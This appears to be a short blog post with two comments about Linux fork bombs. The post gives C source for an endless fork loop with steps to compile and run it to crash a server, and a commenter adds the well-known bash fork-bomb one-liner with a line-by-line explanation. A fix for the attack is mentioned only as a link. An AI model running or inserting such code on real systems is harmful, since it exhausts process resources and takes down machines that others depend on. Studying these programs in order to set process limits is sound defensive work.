Open Vi editor and type/copy the following lines
main()
{
while(1)
{
fork();
}
}
Save the file with any name, something like ... crash.c
Compile it: gcc crash.c
run it: ./a.out
And see how your server is getting crash.
Note: In future post I will explain how to protect your server from such program.
Here is the solution to prevent such attack - here
2 comments:
That's an old one, but it's a nasty. I coded up a variant, where each process printed its process ID and parent process ID before forking. That way, I could tell how many processes were created and what the tree looked like. I could also tell if different trees crashed differently and if the different kernels, schedulers and tweakables made any practical difference.
Here is a common variant for BaSH and some other shells:
:(){ :|:& }; :
:() { # Define a new function
:|:& # Execute function piped into itself, then backgrounded
} #Close function; needs a semicolon if on one line
: # Execute function
Post a Comment